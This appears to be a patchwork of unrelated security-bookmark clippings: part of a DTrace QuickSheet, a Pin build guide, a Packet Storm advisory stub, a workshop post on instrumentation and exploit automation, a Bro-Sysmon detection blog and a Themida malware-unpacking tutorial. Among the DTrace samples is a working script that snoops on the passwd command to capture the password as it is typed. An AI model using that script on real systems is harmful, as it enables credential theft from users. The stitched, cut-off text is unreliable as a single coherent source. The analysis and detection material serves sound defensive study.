\}  
  
profile:::tick-1sec  
/dlycnt++ == dlymax/  
\{  
printa\(@syscalls\);  
clear\(@syscalls\);  
dlycnt = 0;  
cntcnt++;  
\}  
  
profile:::tick-1sec  
/cntcnt == cntmax/  
\{  
exit\(0\);  
\}  
| | Place uptime-like display in output \(Here put in a BEGIN probe\)  
BEGIN  
\{  
load1\_i = \`hp\_avenrun\[0\] / 65536;  
load1\_f = \(\(\`hp\_avenrun\[0\] % 65536\) \* 100\) / 65536;  
load5\_i = \`hp\_avenrun\[1\] / 65536;  
load5\_f = \(\(\`hp\_avenrun\[1\] % 65536\) \* 100\) / 65536;  
load15\_i = \`hp\_avenrun\[2\] / 65536;  
load15\_f = \(\(\`hp\_avenrun\[2\] % 65536\) \* 100\) / 65536;  
  
printf\("load average: %d.%02d, %d.%02d, %d.%02d\n",  
load1\_i, load1\_f,  
load5\_i, load5\_f,  
load15\_i, load15\_f\);  
\}  
  
Parse and print bitwise flags  
dtrace:::BEGIN  
\{  
flags = "DESPRWA";  
\}  
  
io:::done  
\{  
flags\[0\] = args\[0\]->b\_flags & B\_DONE ? 'D' : '-';  
flags\[1\] = args\[0\]->b\_flags & B\_ERROR ? 'E' : '-';  
flags\[2\] = args\[0\]->b\_flags & B\_PAGEIO ? 'S' : '-';  
flags\[3\] = args\[0\]->b\_flags & B\_PHYS ? 'P' : '-';  
flags\[4\] = args\[0\]->b\_flags & B\_READ ? 'R' : '-';  
flags\[5\] = args\[0\]->b\_flags & B\_WRITE ? 'W' : '-';  
flags\[6\] = args\[0\]->b\_flags & B\_ASYNC ? 'A' : '-';  
  
printf\("%d bytes %s %s\n",  
args\[0\]->b\_bcount,  
flags,  
\(args\[2\]->fi\_pathname == "<none>"\)  
? args\[1\]->dev\_pathname : args\[2\]->fi\_pathname\);  
\}  
  
Snoop on the passwd command to capture the passwd typed  
\#\!/usr/sbin/dtrace -s  
  
\#pragma D option quiet  
  
char got;  
  
BEGIN  
\{  
printf\("Watching for passwd processes.\n"\);  
\}  
  
syscall::read:entry  
/execname == "passwd"/  
\{  
got = \*\(char \*\)copyin\(arg1, 1\);  
\}  
  
syscall::read:return  
/execname == "passwd" && arg0 == 1/  
\{  
printf\("%c", got\);  
\}  
  
syscall::rexit:  
/execname == "passwd"/  
\{  
printf\("\n"\);  
\}  
  
\(Lame\) Example of introducing flow control into a DTrace script. If the
first argument is "print" then the second argument will be printed in the
output. The point here is to demonstrate that the probes will fire in order
and some can be conditional while others can always fire. \(Note; The
"problem" with this script is that $$1 or $$2 may not be defined and will
throw an error. $$1 means that $1 is to be evaluated as a string.\) An example
of calling this script follows the code snippet.  
\#\!/usr/sbin/dtrace -s  
  
\#pragma D option quiet  
\#pragma D option defaultargs  
  
BEGIN  
\{  
printf\("I am starting"\);  
\}  
  
BEGIN  
/$$1 == "print"/  
\{  
printf\(" %s", $$2\);  
\}  
  
BEGIN  
\{  
printf\("."\);  
exit\(0\);  
\}  
Here is an example of the script running:  
\# ./flow.d  
I am starting.  
\# ./flow.d print "to like dtrace"  
I am starting to like dtrace.  
  
---|---|---  
Comparison to ProbeVue

This is by no means a comprehensive comparison of the D \(Sun/DTrace\) and Vue
\(IBM/ProbeVue\) languages, but only a quick highlight of a few of the most
obvious differences. Additional discussion on the subject can be found in the
Introduction to Dynamic Tracing white paper.  
  
Providers  
The Vue language has only four providers \(syscalls, UFT, probevue, and an
interval timer\). D has considerably more providers. In this respect, D
appears to be oriented as a fundamental provider of any and all performance
statistics for the Solaris operating system while Vue is best viewed as one
tool amongst many existing trace tools in AIX. The Vue language simply does
not appear to have this vision and scope of usage, although an equivalent set
of providers is on the Vue development roadmap.  
  
Aggregations  
Vue uses a list data type that is used as a parameter for the aggregating
functions. D uses an aggregate data type that can be passed to quantize\(\) or
lquantize\(\) for some meaningful interpretation of the data. The D aggregate
data type seems considerably better planned than the list type found in Vue.
Furthermore I prefer to reset the aggregation every few seconds as I want to
know what the latest, and not cumulative, per-second numbers are. The Vue
language does not have an equivalent function to the D clear\(\) or trunc\(\)
functions. As a result I was forced to calculate my own running average using
primitive data types even though the min\(\), max\(\), avg\(\), count\(\), and
sum\(\) functions existed in Vue. It is my opinion that the Vue list data type
provides no advantage over just calculating the values on your own.  
  
It seems to be a bit frustrating that you cannot reset your list in Vue. The
aggregations provided on a list will always include all data since the script
started but this is even more dangerous when you consider how large the list
can potentially grow\!  
  
Vue allows for the initialization of a list only in the BEGIN block. Once data has been append\(\)ed to a list, it cannot be removed. After my first use of the list data type in Vue, I immediately converted my Vue script to calculate min\(\), max\(\), count\(\), and a running average without the use of list\(\). | | Floating Point Math  
Neither D nor Vue allow for floating point math. D \(or more specifically,
dtrace\) seems to let you know when floating point math will not work, Vue
simply does integer math and assigns it to a float. Examples exist on the
ProbeVue QuickSheet for creating floating point "like" output with integers
\(when calculating percentages\).  
  
Flow Control  
D does not allow for explicit flow control in an action block. Flow control
can be created in D by using the predicates of multiple identical probes. Each
probe, predicate, and action block then becomes a conditional statement and
action block. \(An example of this is found in the Samples section in this
document.\) I think of this much like the flow-through functionality of a C
case statement. Vue allows for explicit if-then-else flow control in an action
block. This means that a Vue probe can have a predicate \(test\) like D, but
then have additional "if" conditionals within the action block. As expected,
these conditionals can be nested.  
  
Function Prototypes  
The Vue language requires that function probes \(syscall, UFT\) include a
function prototype if you wish to retrieve the parameters or return values.
These can be inserted at the top of the Vue script or included from a command
line option on the probevue command line. There is no convenient method to
\#include function prototypes in Vue scripts at this time.  
  
D allows for C macros \(pre-processor directives\) to be included and
leveraged. Vue will not process C pre-processor directives, so it is required
that all .h include files be scrubbed of these items to insure that they are
read correctly. By convention, these Vue header files are .i files.  
  
Other annoyances  
I was unable to glob \(\*\) the function name in the syscall provider in Vue
\(like I can in D\). \(This has the tendency to make D work much like truss.\)
This is because Vue only supports a subset of all system calls. The closest
functionality Vue offers is the ability \(like D\) to have multiple probe
points for a single action block.  
  
Additional information can be found in the ProbeVue section and the ProbeVue
QuickSheet.  
---|---|---  
Appendix

Release \(specific\) Notes  
This QuickSheet was developed differently in that it was written in HTML
rather than the PDF format that I typically use. This has several notable
differences from the other \(PDF\) format.  
  
First, it is release early, release often where the PDF document was typically
well worked over for formatting issues prior to publishing. The HTML version
is a bit more fluid as its primary target is not print \(like the PDF
versions\). The content is complete but is subject to change more so than the
PDF versions.  
  
Second, the formatting of HTML is not quite as controlled as with the LaTeX
layout so your code viewing may vary by the browser type and size that you are
using. I have used multiple columns in the PDF versions with much success.  
  
Finally, the size of a two sheet PDF limits me to the most important concepts
only. With HTML I have allowed this document to swell to around 10 pages
\(printed\). This makes the document a bit less "Quick".  
  
| | QuickSheet Notes  
This content is free to distribute as long as credit to the author and
tablespace.net is retained with the distribution. Every effort has been made
to insure that the content is as accurate as possible, but this is no
guarantee as to the suitability or usability for any purpose. Carefully
research and consider any action you inflict upon your command line.  
  
William Favorite <wfavorite@tablespace.net>  
http://www.tablespace.net  
  
Additional Info  
Sun DTrace Wiki  
  
---|---|---

# Piotr Bania Chronicles http://blog.piotrbania.com: Compling PinTools with
Microsoft Visual Studio \(MSVC9\)

**Created:**| _6/5/2011 6:57:49 PM_  
---|---  
**Updated:**| _6/5/2011 6:57:49 PM_  
**Author:**| __  
**Tags:**| _bookmark binary instrumentation_  
  

****  
  
****

<img src='img/icon18_wrench_allbkg.png' width='18' height='18' />

### Compling PinTools with Microsoft Visual Studio \(MSVC9\)

Jun 04

After hearing some good reviews about Pin DBI framework I have decided to give
it a chance. I have downloaded the version for MSVC9 and tried to compile a
sample project with MSVC9. That was the point where my problems started.
Actually there is very minimal amount of information at the Pin website
regarding using it with Microsoft Visual Studio \(and the sample project file
is pretty useless\). Of course I have built the sample tools with "nmake"
command successfully but I wanted to do the same straight from my MSVC. So I
have spent line an hour \(or two\) fighting with massive numbers of compiler,
linker \(unresolved externals\) errors until the build was done correctly.
Surprisingly after running Pin with my PinTool it returned another error: "Pin
2.9 kit 39586E: Failed to load tool DLL. System error: Unknown error.". Well
at this point I'm still not really sure what was wrong but after doing a lot
of trial and error tests I have managed to create a MSVC configuration that
actually works \(at least for me\). So here it is maybe someone will find it
helpful. \(Please note it may contain some redundant switches but it should be
good enough for a start point.\) For release configuration simply remove the
"\DEBUG" switches.  
  
  
So here are the steps:  
**" E:\pin" is the pin base directory**.  
  
**Include directories** :  
E:\pin\extras\components\include\  
E:\pin\extras\xed2-ia32\include  
E:\pin\source\include\gen  
E:\pin\source\include  
<img src='img/include_dirs.png' width='70%' height='70%' />  
  
**Library directories** :  
E:\pin\ia32\lib-ext  
E:\pin\extras\xed2-ia32\lib  
E:\pin\ia32\lib  
<img src='img/library_dirs.png' width='70%' height='70%' />  
**  
Preprocessor Definitions** :  
TARGET\_IA32;HOST\_IA32;TARGET\_WINDOWS;USING\_XED  
<img src='img/preprocessor.png' width='70%' height='70%' />  
  
**Compiler options** :  
/MT /EHs- /EHa- /wd4530 /DTARGET\_WINDOWS /DBIGARRAY\_MULTIPLIER=1  
/DUSING\_XED /D\_CRT\_SECURE\_NO\_DEPRECATE /D\_SECURE\_SCL=0 /nologo
/DTARGET\_IA32 /DHOST\_IA32  
<img src='img/compiler_options.png' width='70%' height='70%' />  
  
**Linker options** :  
/DLL /EXPORT:main /NODEFAULTLIB /NOLOGO /ENTRY:Ptrace\_DllMainCRTStartup@12
ntdll-32.lib libxed.lib pin.lib pinvm.lib libcmt.lib libcpmt.lib /DEBUG  
<img src='img/linker_options.png' width='70%' height='70%' />  
  
  
Who knows maybe this will work for you :\)

# Related Files ≈ Packet Storm

**Created:**| _5/7/2017 10:48:25 AM_  
---|---  
**Updated:**| _5/7/2017 10:48:25 AM_  
**Author:**| __  
**Tags:**| _windows security poc_  
  

  

Microsoft Windows Color Management Crash

    Posted Mar 21, 2017
    Authored by Google Security Research, mjurczyk
    
Microsoft Windows Color Management library suffers from a crash vulnerability.

    tags | exploit
    systems | windows
    advisories | CVE-2017-0063
    MD5 | `37fdc168bbd5c4776ea7811b7a9976cf`
  

# Understanding Windows Shellcode

**Created:**| _12/31/2009 12:23:57 PM_  
---|---  
**Updated:**| _12/31/2009 12:24:15 PM_  
**Author:**| __  
**Tags:**| _shellcode Exploit papers_  
  
<img src='img/Temp2_8709' />

# I, Hacker: Post Vegas Post - BlackHat / DEF CON Workshop Materials, Notes
and Some Mess

**Created:**| _8/18/2011 4:07:12 PM_  
---|---  
**Updated:**| _9/1/2011 4:14:51 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification awesome_  
  

### Post Vegas Post - BlackHat / DEF CON Workshop Materials, Notes and Some
Mess

Hi All,  
I've finally solved some internet access problems and can upload the materials
I wrote for my BH and DEF CON workshops. For those in a hurry the materials
are here: \[ presentation \] \[ code examples \]. If you want to catch me
giving this workshop \(in a somewhat modified version\) come hear me in
hack.lu .  
BH & DC this year were great - great parties \(except MS that initially didn't
want to let me in until after the party started and I made other plans :P\),
some good talks and \(re\)meeting great people.  
Thanks again to everyone that came to listen to me.  
  
**_ Some notes regarding these materials: _ **  

  * Please note that the presentation was not written with offline reading in mind so it might make a hard read in some places. Questions are welcome in the comments.
  * The Defcon presentation is mostly a variant of the BlackHat one \(or vice versa\) which is why I did not include both.
  * The examples might be included in the official Pin distribution some day. For now I'm going to start a page on this website to preserve these materials. If you have any submissions of updates, fixes or additional examples you want included send those to me. notifications of updates will be published via twitter.
  * Since I was lazy and intended to control the length of my presentations by deciding what to include in the demos on the fly the details of the demos / examples mostly do not appear in the presentation itself. That is why I've included notes about the demos and examples below. Please note the examples were written with educational purposes in mind and not
  * The end of the presentation contains a ton of references to all sorts of DBI usages for security or whitepapers on the subject - highly recommended read for those interested in the field.

**_ Examples and demos: _ **  

  * ** Exploiter1 ** \- An example of automated exploit development for classic stack buffer overflows and assuming no DEP and ASLR. If you had it 5-7 years ago you could write a worm that would actually "multiply" and learn new attack vectors as it goes along \(muhahaha :D\). I'm intentionally releasing this degenerate version so as not to provide people that couldn't write this code alone with the ability. If you're interested in full capabilities along these lines - contact me privately, I'm considering it. I might write a longer blog post on this subject \(if I ever get time to write\).
  * ** InMemFuzz ** \- An example of in memory fuzzing and of using checkpointing to accelerate fuzzing. please note the checkpointing part only covers registers. One of the exercises in the Defcon workshop was to complete it. Again, a blog post on this will be added to the fuzzing series if / when I have time.
  * ** RetAddrProtect ** \- An implementation of "shadow stack" method to defend against return address overwrites in your program. I originally invented this method for some job back in early 2004 unknowing that the term "shadow stack" existed I called it "protection stack" and only very recently discovered the proper name for it which is why, since I'm lazy, the tool still calls it "protection stack". See the work from Caro'11 by MS guys on the matter \(link in the presentation\).
  * ** Taint 1-3 - ** Examples of basic taint analyzers. These are simple examples that only handle the propagation of taint through the MOV class of instructions. The first outputs some of the dataflow, the second improves the log to show only taint flow and the third adds tracking of the taint source.

  * ** Taint\_vis\_2D ** \- is a script that is meant to show how a very simple \(practically dumb\) visualization of taint is still very useful to us compared to reading log files. Read the source to understand how it works.

  * ** Program data-flow visualization ** \- Two examples of memory visualizations are included in the kit. Those are meant for working with a recording of all memory accesses generated by the "pinatrace" \(memory access trace\) example from the official Pin kit. When executed on the log file generated by pinatrace these tools generate a 3D view of the program memory accesses that allows us to analyze the program visually. For example, it is fairly easy to identify loops and extrapolate potential usages of those loops. To understand the information generated: one axis represents the address, the second represents the PC location at the time of the memory access and the third axis represents the order of the operations. Blue means a read, red means a write. You can navigate through the visualizations using the mouse \(zoom in/out and rotate\). Again, if you're interested in advanced taint / data-flow visualization capabilities I'm open to discussion privately. See example images below.
  * ** Anti Debug ** \- the first anti debug example is meant to show that Pin will not trip this anti-debug protection while using a debugger would. The second is meant to show that the transparent debug feature in Pin allows you to debug ignoring Anti-Debug techniques. Please note that the first example will trip the debugger under the transparent debugger - if you want transparent debugging to work on it you need to write a pintool \(which was meant as education / exercise\).
  * ** Double Free ** \- An example of how to detect potential double free cases. Some might say that it is less relevant due to the fact that is a fairly easy task using static analysis and modern libc protections however, sometimes you don't have the luxury of having access to the source code or you work on legacy systems where it becomes relevant. In addition, vulns like the OpenSSH double-free race condition vulnerability would not normally be caught by a static analyzer looking for double free.
  * ** Malloc Fault injection ** \- this simple PinTool does exactly what the name suggests. It injects malloc failures into the program at a random interval. For our case I set the frequency to be very high \(every ~100 calls to malloc\) it is interesting to note that the Linux loader and libc initializations usually fail intelligbly with a reasonable message. 
  * ** VulnEx\# ** \- these are vulnerable code examples to run the tools on - each example purpose is documented.

_** Pretty Pictures: ** _  
Here are some pictures of visualizations with a small explanation on how to
read those. these are based on the very early work of the OS loader in Linux
while starting to execute "ls". If you're looking for why I choose this
specifically the answer is "because" or in detail - because it fit me at that
specific moment \(yeah, I'm lazy\).  
  
<img src='img/Temp2_4142.png' width='640' height='569' />  
---  
Notice the series of memory read-writes a little up and to the right from the
center - this is a loop, almost certainly with a counter. since no other
memory writes are visible most probably this is a search loop or a loop
related to register calculation  
  
<img src='img/Temp2_4143.png' width='640' height='442' />  
---  
Same loop as before, now a little to the left from the center and depicted
using separate lines for reads and writes. Note that it is now almost certain
that the top red line represents some sort of counter.  
  
<img src='img/Temp2_4141.png' width='640' height='536' />  
---  
On the center and a little below and to the right notice another loop - note
the symmetry in the reads and writes relative positions. figuring out what it
probably is is left as an exercise to the reader :P \(you can also see this
same loop from the top in the first picture to the left of the center\)  
<img src='img/Temp2_4144.png' width='640' height='318' />  
---  
~1000 memory accesses, note that blocks with relations are easily
identifiable. Easy to see that a filtering capability is very valuable.
finding more interesting patterns will require some more staring.  
  
BTW, the ZIP files on google docs are downloadable - through "file" -> save
original  
  
** \-- The End \(for today\) **  
Please leave a comment and share if you liked it.  
  
Posts or possibly talks or whitepapers in planning / phases of writing, though
I don't know when I'll get to each particular item: "how I would go about
blowing up batteries if I was 0xcharlie" \(pending legal review - meaning it
is too close to my work research and besides if batteries start blowing up
there could be trouble...\), "Fuzzing series part 2 \- monitoring OR why I'm
tired of hearing about \!exploitable", "fuzzing series part 3 - fuzzing
protocols from the RFCs using semi-context aware grammars", "how to attack HW
using SW" \(pending legal review - again close to work stuff\), "Enough with
the code coverage\! - feedback driven fuzzing based on data coverage and taint
analysis", "old/new heap attacks", "increasing exploit reliability". Every
post or potential talk depends popular demand, free time and me not getting
sued.  
  
\-- Gal  

# Open Sourcing Bro-Sysmon – Salesforce Engineering

**Created:**| _1/25/2019 6:12:02 AM_  
---|---  
**Updated:**| _1/25/2019 6:12:02 AM_  
**Author:**| __  
**Tags:**| __  
  

  

# Open Sourcing Bro-Sysmon

<img src='img/1*vW_bkEnclZrmCBEGCJEjIg.jpeg' width='50' height='50' />

Jeff Atkinson

Dec 18, 2018·5 min read

Our newly open sourced project “Bro-Sysmon” was developed to enable Bro-IDS
\(Bro\) to monitor Windows endpoint activities and was inspired by the Bro-
OSQuery project. When analyzing network traffic, JA3 and HASSH fingerprints
provide valuable network data points due to the increased usage of encryption.
These tools create a fingerprint which changes based on the configuration of
encryption libraries, the application itself, the underlying operating system,
or evasion techniques. The fingerprints will change due to these nuances.

The question we sought to answer is how to definitively attribute a JA3
fingerprint to the process on a host. Bro-Sysmon focuses on integrating the
Windows Sysmon ID 3: Network connection with the SSL/TLS analyzer of Bro to
generate logging which contains the process ID, path to executable, and JA3
fingerprint. This work was inspired by Steffan Haas’ Bro-OSQuery which we have
used to map JA3 fingerprints to MAC and Linux hosts.

Example output of mapja3.log created by mapJA3-Proc.bro script.

[code]

    DESKTOP-SHFK4CF 2836 192.168.200.100 53223 35.231.36.130 443 54328bd36c14bd82ddaa0c04b25ed9ad faa88e75a7471aaa07850841e28f87f1 www.usualsusp3cts.com C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe — CN=usualsusp3cts.com CN=Let’s Encrypt Authority X3,O=Let’s Encrypt,C=US
[/code]

### **How it works**

<img src='img/1*lteldpuUn82uLDX7PbkLJg.jpeg' width='700' height='347' />

  1. 1 "."We start with JSON formatted logs of Sysmon events.
  2. 2 "."The file is read by a Python script which will establish communication with Bro, parse the JSON logs, generate Bro events, and publish the events to the message bus.
  3. 3 "."Bro will subscribe to the message bus and raise events.
  4. 4 "."Bro scripts handle these events. The provided script will log the Sysmon events out to disk. There are also scripts included to perform the mapping of JA3 to process.

### The use case

Let’s take a look at the analysis process. In this scenario, an analyst is
reviewing newly observed domains on their network. The domain
www.usualsusp3cts.com is observed. During the analyst’s research it’s noted
that the domain is using a Let’s Encrypt Certificate.

Example logs from ssl.log.

[code]

    1544648162.452073 CTbIwm1WsTyY0UVwD 192.168.200.100 53256 35.231.36.130 443 TLSv10 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA **www.usualsusp3cts.com** F — — T Fxm3n21gKDX2gxnK0e,FFzF7E3fy4C2Wa7qM3 (empty) CN=usualsusp3cts.com CN=**Let’s Encrypt Authorit** **X3** ,O=Let’s Encrypt,C=US — — ok 54328bd36c14bd82ddaa0c04b25ed9ad faa88e75a7471aaa07850841e28f87f1
[/code]

[code]

    1544648495.863132 C39S4l1DLLpknJSOh9 192.168.200.100 53267 35.231.36.130 443 TLSv10 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA **www.usualsusp3cts.com** F — — T Fi89Ii46H5HLo2tE6d,FP9n7QotVOK9ONPte (empty) CN=usualsusp3cts.com CN=**Let’s Encrypt Authorit X3** ,O=Let’s Encrypt,C=US — — ok 54328bd36c14bd82ddaa0c04b25ed9ad faa88e75a7471aaa07850841e28f87f1
[/code]

Now that the host is identified, the analyst will need to transition to
incident response mode and investigate the host. This may require using an
enterprise tool, engaging technical support for remote desktop access or
shipping the hard drive to the analyst’s office for investigation. These
manual processes can take hours to weeks to complete.

Response time is precious and logs are perishable. If the collection process
takes too long then essential logs can be overwritten. During the
investigation of the host the analyst comes across the following Sysmon Event.
The event details provide the ProcessId and Image which generated the network
traffic.

<img src='img/0*OPryWZoYQd3LuVY1' width='700' height='587' />

With this information gathered the analyst is able to see what the command and
control of the victim looks like.

[code]

    Source Address: 192.168.200.100  
    Destination Address: 35.231.36.130  
    Domain Name: www.usualsusp3cts.com  
    JA3: 54328bd36c14bd82ddaa0c04b25ed9ad  
    Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
[/code]

Our overworked analyst will have to perform this data collection process for
every host that appeared communicating with that destination IP. So how can we
shorten the length of time and the manual process of this data collection?

### Answering the original question

Recall the original question, how to map JA3 and HASSH fingerprints to
applications on hosts? Streaming events from a Windows host and converting the
logs to JSON provides closer to real-time capabilities for data collection.
Below is the JSON formatted output of the Event Log from the victim host for
the process id 3952.

[code]

    'event_data': {  
      'DestinationHostname': '130.36.231.35.bc.googleusercontent.com',  
      'DestinationIp': '35.231.36.130',  
      'DestinationIsIpv6': 'false',  
      'DestinationPort': '443',  
      'DestinationPortName': 'https',  
      'Image': 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe',  
      'Initiated': 'true',  
      'ProcessGuid': '{9A5530DB-7A19–5C11–0000–00105331C300}',  
      'ProcessId': '3952',  
      'Protocol': 'tcp',  
      'SourceHostname': 'DESKTOP-SHFK4CF',  
      'SourceIp': '192.168.200.100',  
      'SourceIsIpv6': 'false',  
      'SourcePort': '53223',  
      'User': 'DESKTOP-SHFK4CF\\Kai',  
      'UtcTime': '2018–12–11 04:52:43.748'  
    }
[/code]

Now that we are receiving host events and processing them with Bro-Sysmon, Bro
is receiving these Sysmon logs and can perform additional logic on them. The
concept is to keep track of process identification numbers \(PID\) with their
associated information like image location and network connections details.
The Sysmon Event ID number 3 will contain the PID and a network tuple of the
source IP address, source port, destination IP address, and destination port.
This tuple will be the key for referencing the PID information.

<img src='img/1*cOK7v8jzLL6W6KI4QloJrw.jpeg' width='700' height='266' />

This is the record that gets added to the tableNetConns table. Reference
trackNetConns.bro for details.

[code]

    [192.168.200.100,53223,35.231.36.130,443] = [‘3952’, ‘C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe’]
[/code]

Now when Bro is instructed it can use the conn\_id to lookup the host details
of this connection. Custom scripts such as mapJA3\_Proc.bro can combine host
logs and network logs. This technique can also be used to extend current logs
with the hash provided by Sysmon. Below is what the new log looks like,
showing the network connection with the PID and file location.

[code]

    DESKTOP-SHFK4CF 3952 192.168.200.100 53223 35.231.36.130 443 54328bd36c14bd82ddaa0c04b25ed9ad faa88e75a7471aaa07850841e28f87f1 www.usualsusp3cts.com C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\**power** shell.exe — CN=usualsusp3cts.com CN=Let’s Encrypt Authority X3,O=Let’s Encrypt,C=US
[/code]

This same process can be leveraged to create mapping of HASSH fingerprints
with host process information. The network logs contain additional information
like client and server strings which can be added to the logging for context.

### Considerations

This is a simple architecture. In larger environments, it is important to
choose the appropriate technology to ensure delivery and queueing if
necessary. The log transport can be replaced with Kafka if needed to ensure
robust transport. The JSON parsing and Bro event generation can be rewritten
in C++ or other Broker supported language for speed if necessary.

Be aware of proxies and network address translations \(NATs\). Both of these
will modify the network tuple on the external side. I’ve been working on a
technique to combine the JA3 TLS fingerprint with the HTTP User-Agent which is
done by monitoring network activity on both sides of the proxy.

### Conclusion

Bro-Sysmon aims to extend the powerful network monitoring capabilities of Bro
by adding host-level visibility. Many network session flows can be extended or
enhanced to provide a comprehensive view of how a host actually generated the
traffic. Leveraging network and endpoint data to identify and review
suspicious activity is essential for Security Analysts and Detection Engineers
to efficiently identify bad actors.

Be sure to check out the GitHub repo. You can contact me via email or @4a7361.

### Credits

Bro-Sysmon concept was conceived and developed by Jeff Atkinson \(@4a7361\).
Special thanks goes out to Kevin Thompson \(@bfist\), @tenzir\_company and
@0xHosom.

# Smashing Themida with Qemu

**Created:**| _11/13/2013 9:05:24 AM_  
---|---  
**Updated:**| _11/13/2013 9:05:24 AM_  
**Author:**| __  
**Tags:**| _virtusalisation Obfuscation_  
  

# **S** mashing Themida with Qemu****

> ####  **Themida** by Oreans  provides a vast list of protection mechanisms.
> ####  I'll explain a very simple approach to defeating Themdia 2**.** x
> protection schemes using **Qemu** , **Universal Import Fixer** , and
> **Imports Fixer 1**.** 6**.
> ####  **Qemu** was the only virtual environment that this Themdia protected
> exe did not detect and would run in completely**.** It did an excellent job
> detecting **IDA** \(even with IDA Stealth\) and would not run inside
> **Immunity Debugger****.**
> ####  It also has built in kernel debugging detection**.** The binary will
> execute in **Vmware** , however it doesn't execute its true payload inside
> Vmware**.**
> Needed for this tutorial are:
>   * ****Qemu running XP****
>   * **Universal Import Fixer**
>   * **Imports Fixer 1**.** 6**
>

> **5U4N8Q**.**.exe** \(Malware\_5u4n8Q.zip\) is the target file we will be
> unpacking**.** \(Samples not provided\)
1\) Inside of Qemu double click on **5U4N8Q**.**.exe** , open taskmgr and get
its **PID****.**

<img src='img/Temp2_7583.jpg' />

  
2\) Open **Universal Import Fixer v1**.** 2**, enter the **PID** \(deselect
hex\), and make sure **Fix Directly Imports** is checked and click **Start**

In the log window you'll see UIF finding all the indirect API calls**.** Take
note of the **IAT RVA** the **IAT SIZE** and the **New IAT VA** from **UIF**

<img src='img/Temp2_7589.jpg' />

  
Below is output from the log file \(the full log file is attached below as
UIF-Log.txt\):

**Log File**  
===============================================================  
Fixing : 5u4n8Q**.**.exe  
Code Start : 00000000 -> Auto: 00400000  
Code End : 00000000 -> Auto: 009C5000  
New IAT VA : 00000000 -> Auto: 03910000  
Fix Directly Imports : Yes  
===============================================================  
5u4n8Q**.**.exe  
00400000 to: 009C5000  
Target Module,Skipped..**.**  
ntdll.dll  
7C900000 to: 7C9B0000  
00402714: Directly-> 03910000 : 7C901005 : RtlEnterCriticalSection  
0040271C: Directly-> 03910004 : 7C9010ED : RtlLeaveCriticalSection  
0040C700: Directly-> 03910000 : 7C901005 : RtlEnterCriticalSection  
0040C92C: Directly-> 03910004 : 7C9010ED : RtlLeaveCriticalSection  
kernel32.dll  
7C800000 to: 7C8F4000  
004027A4: Directly-> 03910008 : 7C81CAA2 : ExitProcess  
0050A119: 0061F0E4-> 0391000C : 7C810C21 : GetFileSizeEx  
\----Truncated------------------------------------------------------  
xpsp2res.dll  
20000000 to: 202C5000  
Not Found any Exports..**.**  
===============================================================  
Fixing Success..**.**  
Fixed Module : 5u4n8Q..exe  
Image Base : 00400000  
IAT RVA : 03510000  
IAT Size : 00000410  
Normal Imports : 38  
Directly Imports : 234  
All Imports : 272  
===============================================================

**End of Log File**

3\) Open **Imports Fixer 1**.** 6**, highlight the **5u4n8q..exe** process,
right click on it and select Dump**.** In the **Dumper Tool** window select
**Dump**

<img src='img/Temp2_7578.jpg' />

Save the file as **5u4n8Q..**.****

4\) Back in **Import Fixer** , select the **IT & IAT** at the top of the
window**.**  

<img src='img/Temp2_7590.jpg' />

  
5\) In the **IT & IAT** window select everything under the **Code sections**
and click **Get Imports \(auto scan\)**  

<img src='img/Temp2_7576.jpg' />

It should look like this

<img src='img/Temp2_7581.jpg' />

6\) Select **Clear Imports** clearing all the incorrect imports, under **IAT
manual adding** enter the **New IAT VA** \(0x03910410\) from UIF minus it's
IAT size \(0x410\) for the VA address and add 410 for the size below**.**

  * VA: **03910000**
  * Size: **410**

Click **Add** and you should see the correct imports added as shown below

<img src='img/Temp2_7591.jpg' />

  
7\) Select **Fix dump** and use the **5u4n8Q..**.**** target file we dumped in
step 3 above and you should be rewarded with a message showing that the IAT
has been rebuilt**.**

<img src='img/Temp2_7579.jpg' />

  
The file should save as \* **5u4n8Q**.** IF.exe.exe** and we're done\!  
  
8\) Because this exe used Delphi7, copy the **Delphi7.sig** file to the IDA
pro signature directory and Open \* **5u4n8Q**.** IF.exe.exe** inside IDA,
just select ok for the warning message about imports

<img src='img/Temp2_7585.jpg' />

  
9\) As you can see the imports are now showing up along with functions**\!**  

<img src='img/Temp2_7574.jpg' />

  
10\) Looking at the disassembled code however still doesn't look right because
we need to apply some sigs**.**  

<img src='img/Temp2_7587.jpg' />

  
11\) Apply the Delphi 7 and BDS 2005-2007 signatures as shown below**.** Be
sure to apply the Delphi 7 sig first as order seems to matter**.**  

<img src='img/Temp2_7592.jpg' />

When the **Please confirm** message box comes up, select **Unload library**

<img src='img/Temp2_7580.jpg' />

12\) Now the disassembled code looks correct and we have a much better
understanding of the malware and we are **done**.****  

<img src='img/Temp2_7577.jpg' />

###  **Themida Packed******

1\) Just to illustrate the difference, here are some screenshots of the
malware before we unpacked it and rebuilt the IAT

<img src='img/Temp2_7584.jpg' />

  
2\) **Import Address Table**

<img src='img/Temp2_7588.jpg' />

###  **Qemu Notes******

I ran QEMU inside a Windows VM**.** To transfer files between the Vmware Env
and Qemu, enable File sharing on the vmware Windows C drive**.**  
Also enable the option that says "Allow network users to change my files"

<img src='img/Temp2_7575.jpg' />

Inside Qemu just point windows Explore to \\\10**.** 0.2.2\c which should be
the default gateway and also the Vmware XP image**.**

<img src='img/Temp2_7582.jpg' />

###  **General Notes  
Verified against another sample from the wild**.****

This worked against 3 Themida packed malware samples using Themida 2**.** x.  
If anyone has any Themida packed samples, please send them to me or try this
process to see if it works**.**  
  
  
http://www.offensivecomputing.net/**?** q=ocsearch

MD5:  
9a597cae40e4d22695626c84878d80cf SHA1:  
850ba4950cc1e9624e85200e48e8a400683ffb12  
SHA256:  
1129e7372053a9259526b35a41c62373dd1656329287eec69c668252003ec9f8  
Original Submitted Filename:  
9a597cae40e4d22695626c84878d80cf.exe Date Added:  
2009-04-04 04:47:30**.** 931305  
Magic File Type:  
MS-DOS executable PE for MS Windows \(GUI\) Intel 80386 32-bit Packer
Signature:

Anti-Virus Results:  
BitDefender Trojan.Generic**.** 772406  
AVGScan Win32/Themida  
Tags:  
Add a tag:

This screenshot was taken after using the unpacking methods**.**

<img src='img/Temp2_7586.jpg' />

****

# Useless Factor: Why not mmap?

